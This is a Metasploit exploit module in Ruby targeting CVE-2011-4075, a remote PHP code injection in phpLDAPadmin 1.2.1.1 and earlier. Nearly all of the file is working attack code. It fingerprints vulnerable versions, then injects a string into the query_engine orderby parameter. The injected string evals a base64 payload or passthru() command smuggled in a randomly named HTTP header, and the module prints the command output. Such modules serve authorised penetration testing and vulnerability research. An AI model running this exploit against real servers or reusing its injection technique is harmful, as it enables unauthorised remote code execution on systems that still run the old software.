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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'phpLDAPadmin query_engine Remote PHP Code Injection',
'Description' => %q{
This module exploits a vulnerability in the lib/functions.php for
phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers input
parsed directly to the create_function() php function. A patch was
issued that uses a whitelist regex expression to check the user supplied
input before being parsed to the create_function() call.
},
'Author' =>
[
'EgiX <n0b0d13s[at]gmail.com>', # original discovery/poc
'mr_me <steventhomasseeley[at]gmail.com>', # msf
'TecR0c <roccogiovannicalvi[at]gmail.com >', # msf
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2011-4075'],
['OSVDB', '76594'],
['BID', '50331'],
['EDB', '18021']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 4000,
'Keys' => ['php'],
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Oct 24 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
])
end
def check
uri = normalize_uri(datastore['URI'], 'index.php')
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri,
}, 3)
if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def get_session
uri = normalize_uri(datastore['URI'], 'index.php')
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri,
}, 3)
if res.nil? or res.get_cookies.empty?
print_error("Could not generate a valid session")
return
end
return res.get_cookies
end
def exploit
# if we are using the exec CMD stager
# important to check which php functions are disabled
if datastore['CMD']
p = "passthru(\"%s\");" % datastore['CMD']
p = Rex::Text.encode_base64(p)
else
p = Rex::Text.encode_base64(payload.encoded)
end
# Generate some random strings
hidden_header = rand_text_alpha_upper(6)
fake_func_name = rand_text_alpha_upper(2)
# build sttack string
php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
session = get_session
uri = normalize_uri(datastore['URI'])
uri << '/' if uri[-1,1] != '/'
uri << 'cmd.php'
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'data' => data,
'headers' =>
{
"#{hidden_header}" => p,
'Cookie' => session,
'Connection' => 'Close',
},
}, 3)
print_status("%s" % res.body) if datastore['CMD']
end
end